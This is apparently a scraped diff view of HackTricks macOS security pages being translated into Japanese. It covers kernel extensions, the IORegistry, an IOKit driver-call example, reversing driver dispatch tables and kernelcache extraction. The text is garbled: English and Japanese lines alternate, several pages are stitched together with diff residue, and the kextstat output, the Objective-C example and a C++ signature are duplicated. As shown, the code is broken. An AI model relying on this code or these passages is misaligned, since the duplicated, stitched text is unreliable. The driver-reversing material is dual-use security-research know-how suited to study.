## ドライバー
In macOS they are located in:
macOSでは、次の場所にあります：
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- OS Xオペレーティングシステムに組み込まれたKEXTファイル。
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- サードパーティソフトウェアによってインストールされたKEXTファイル
In iOS they are located in:
iOSでは、次の場所にあります：
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
9までのリストされたドライバーは**アドレス0にロードされています**。これは、それらが実際のドライバーではなく、**カーネルの一部であり、アンロードできないことを意味します**。
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
特定の拡張機能を見つけるには、次のようにします:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
カーネル拡張をロードおよびアンロードするには、次のようにします:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
**IORegistry**は、macOSおよびiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバを表す**階層的なオブジェクトのコレクション**であり、それらの相互関係を示しています。
IORegistryは、cli **`ioreg`**を使用してコンソールから検査することができ（特にiOSに便利です）。
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
**`IORegistryExplorer`**を**Xcode Additional Tools**から[**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)でダウンロードし、**macOS IORegistry**を**グラフィカル**インターフェースを通じて検査できます。
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
IORegistryExplorerでは、「プレーン」はIORegistry内の異なるオブジェクト間の関係を整理し表示するために使用されます。各プレーンは、特定のタイプの関係またはシステムのハードウェアとドライバ構成の特定のビューを表します。IORegistryExplorerで遭遇する可能性のある一般的なプレーンは以下の通りです：
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService Plane**: これは最も一般的なプレーンで、ドライバとナブ（ドライバ間の通信チャネル）を表すサービスオブジェクトを表示します。これらのオブジェクト間のプロバイダ-クライアント関係を示します。
2. **IODeviceTree Plane**: このプレーンは、デバイスがシステムに接続される物理的な接続を表します。USBやPCIのようなバスを介して接続されたデバイスの階層を視覚化するために使用されることがよくあります。
3. **IOPower Plane**: 電力管理の観点からオブジェクトとその関係を表示します。どのオブジェクトが他のオブジェクトの電力状態に影響を与えているかを示すことができ、電力関連の問題のデバッグに役立ちます。
4. **IOUSB Plane**: USBデバイスとその関係に特化しており、USBハブと接続されたデバイスの階層を示します。
5. **IOAudio Plane**: このプレーンは、システム内のオーディオデバイスとその関係を表すためのものです。
6. ...
## Driver Comm Code Example
## ドライバ通信コードの例
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
以下のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。そのために：
- まず**`IOServiceMatching`**と**`IOServiceGetMatchingServices`**を呼び出してサービスを取得します。
- 次に、**`IOServiceOpen`**を呼び出して接続を確立します。
- 最後に、セレクタ0を示す**`IOConnectCallScalarMethod`**を使用して関数を呼び出します（セレクタは呼び出したい関数に割り当てられた番号です）。
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
他にも **`IOConnectCallScalarMethod`** の他に **`IOConnectCallMethod`** や **`IOConnectCallStructMethod`** などの IOKit 関数を呼び出すために使用できる関数があります。
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## ドライバエントリポイントのリバースエンジニアリング
## Reversing driver entrypoint
これらは例えば [**ファームウェアイメージ (ipsw)**](./#ipsw) から取得できます。その後、お気に入りのデコンパイラにロードします。
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
**`externalMethod`** 関数のデコンパイルを開始できます。これは呼び出しを受け取り、正しい関数を呼び出すドライバ関数です：
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
そのひどい呼び出しのデマグルは意味します：
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
前の定義では**`self`**パラメータが欠けていることに注意してください。良い定義は次のようになります：
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
実際の定義は[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)で見つけることができます:
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
この情報を使って、Ctrl+Right -> `Edit function signature` を再記述し、既知の型を設定できます：
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
新しいデコンパイルされたコードは次のようになります：
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これはオープンソースで、[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) で確認できます。これを定義できます：
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
今、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータが見えます：
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
データ型を **`IOExternalMethodDispatch2022:`** に変更します：
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
変更後：
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
ここに、**7つの要素の配列**があることがわかります（最終的なデコンパイルコードを確認してください）。7つの要素の配列を作成するためにクリックします：
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
配列が作成されると、すべてのエクスポートされた関数が表示されます：
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> 覚えておいてください、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前を呼び出す必要はなく、**セレクタ番号**を呼び出す必要があります。ここでは、セレクタ **0** が関数 **`initializeDecoder`**、セレクタ **1** が **`startDecoder`**、セレクタ **2** が **`initializeEncoder`** であることがわかります...
{{#include ../../../banners/hacktricks-training.md}}

954
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

File diff suppressed because it is too large Load Diff

106
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
View File

@ -2,40 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
カーネル拡張（Kexts）は、**`.kext`** 拡張子を持つ **パッケージ** であり、**macOS カーネル空間に直接ロードされる**ことで、主要なオペレーティングシステムに追加機能を提供します。
### Requirements
### 要件
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
明らかに、これは非常に強力であるため、**カーネル拡張をロードするのは複雑です**。カーネル拡張がロードされるために満たすべき **要件** は次のとおりです：
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- **リカバリモードに入るとき**、カーネル **拡張がロードされることを許可する必要があります**：
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- カーネル拡張は **カーネルコード署名証明書で署名されている必要があり**、これは **Appleによってのみ付与されます**。誰が会社とその必要性を詳細にレビューします。
- カーネル拡張は **ノータライズされている必要があり**、Appleはそれをマルウェアのチェックができます。
- 次に、**root** ユーザーが **カーネル拡張をロードできる**唯一のユーザーであり、パッケージ内のファイルは **rootに属している必要があります**。
- アップロードプロセス中、パッケージは **保護された非rootの場所** に準備される必要があります：`/Library/StagedExtensions`（`com.apple.rootless.storage.KernelExtensionManagement` の付与が必要です）。
- 最後に、ロードを試みると、ユーザーは [**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 。受け入れられた場合、コンピュータは **再起動** されてロードされる必要があります。
### Loading process
### ロードプロセス
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
カタリナでは次のようでした：**検証** プロセスは **ユーザーランド** で行われることに注目することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**：`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli **が** 拡張のロードのための **検証** プロセスを **開始します**
- **Machサービス** を使用して **`kextd`** に送信します。
2. **`kextd`** は、**署名** などのいくつかのことをチェックします
- 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話します。
3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**。
- **`syspolicyd`** は結果を **`kextd`** に報告します。
4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できる**ようになります。
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
### Enumeration (loaded kexts)
もし **`kextd`** が利用できない場合、**`kextutil`** は同じチェックを実行できます。
### 列挙（ロードされたkexts）
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> カーネル拡張は `/System/Library/Extensions/` にあると予想されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
**kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバ** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込んでリンクするのにかかる時間とリソースを削減します。
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
iOS では **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** にあり、macOS では次のコマンドで見つけることができます: **`find / -name "kernelcache" 2>/dev/null`** \
私の場合、macOS では次の場所で見つけました:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
IMG4 ファイル形式は、Apple が iOS および macOS デバイスで **ファームウェア** コンポーネント（**kernelcache** など）を安全に **保存および検証** するために使用するコンテナ形式です。IMG4 形式にはヘッダーと、実際のペイロード（カーネルやブートローダーなど）、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前に、その真正性と整合性を確認できるようにします。
It's usually composed of the following components:
通常、次のコンポーネントで構成されています:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- よく圧縮されている (LZFSE4, LZSS, …)
- オプションで暗号化されている
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- 署名を含む
- 追加のキー/値辞書
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- APNonce としても知られる
- 一部の更新の再生を防ぐ
- OPTIONAL: 通常は見つからない
Kernelcache を解凍する:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
### ダウンロード
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) では、すべてのカーネルデバッグキットを見つけることができます。ダウンロードして、マウントし、[Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) ツールで開き、**`.kext`** フォルダーにアクセスして**抽出**します。
シンボルを確認するには:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
時々、Appleは**kernelcache**を**symbols**付きでリリースします。これらのページのリンクをたどることで、symbols付きのファームウェアをダウンロードできます。ファームウェアには他のファイルとともに**kernelcache**が含まれています。
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
ファイルを**extract**するには、まず拡張子を`.ipsw`から`.zip`に変更し、**unzip**します。
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
ファームウェアを抽出すると、**`kernelcache.release.iphone14`**のようなファイルが得られます。これは**IMG4**形式で、興味深い情報を以下のコマンドで抽出できます：
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### カーネルキャッシュの検査
### Inspecting kernelcache
Check if the kernelcache has symbols with
カーネルキャッシュにシンボルがあるか確認します。
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
これで、**すべての拡張機能**または**あなたが興味のあるもの**を**抽出**できます：
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## デバッグ
## Debugging
## Referencias
## 参考文献
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

6
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md
View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities
# macOSカーネルの脆弱性
{{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
## [OTAのPwning](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**このレポートでは**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) ソフトウェアアップデーターを危険にさらすカーネルの脆弱性がいくつか説明されています。\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

66
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md
View File

@ -4,78 +4,76 @@
## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
Kernel Extensionsとは異なり、**System Extensionsはユーザースペースで実行され**、拡張機能の不具合によるシステムクラッシュのリスクを軽減します。
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
システム拡張には、**DriverKit** Extensions、**Network** Extensions、**Endpoint Security** Extensionsの3種類があります。
### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
DriverKitは、**ハードウェアサポートを提供する**カーネル拡張の代替です。USB、シリアル、NIC、HIDドライバなどのデバイスドライバがカーネルスペースではなくユーザースペースで実行できるようにします。DriverKitフレームワークには、**特定のI/O Kitクラスのユーザースペースバージョン**が含まれており、カーネルは通常のI/O Kitイベントをユーザースペースに転送し、これらのドライバが実行されるための安全な環境を提供します。
### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
Network Extensionsは、ネットワークの動作をカスタマイズする機能を提供します。Network Extensionsにはいくつかのタイプがあります：
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **App Proxy**: フロー指向のカスタムVPNプロトコルを実装するVPNクライアントを作成するために使用されます。これは、個々のパケットではなく接続（またはフロー）に基づいてネットワークトラフィックを処理します。
- **Packet Tunnel**: パケット指向のカスタムVPNプロトコルを実装するVPNクライアントを作成するために使用されます。これは、個々のパケットに基づいてネットワークトラフィックを処理します。
- **Filter Data**: ネットワークの「フロー」をフィルタリングするために使用されます。フローレベルでネットワークデータを監視または変更できます。
- **Filter Packet**: 個々のネットワークパケットをフィルタリングするために使用されます。パケットレベルでネットワークデータを監視または変更できます。
- **DNS Proxy**: カスタムDNSプロバイダーを作成するために使用されます。DNSリクエストとレスポンスを監視または変更するために使用できます。
## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
Endpoint Securityは、AppleがmacOSで提供するフレームワークで、システムセキュリティのためのAPIセットを提供します。これは、**セキュリティベンダーや開発者がシステム活動を監視および制御する製品を構築するために使用することを意図しています**。
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
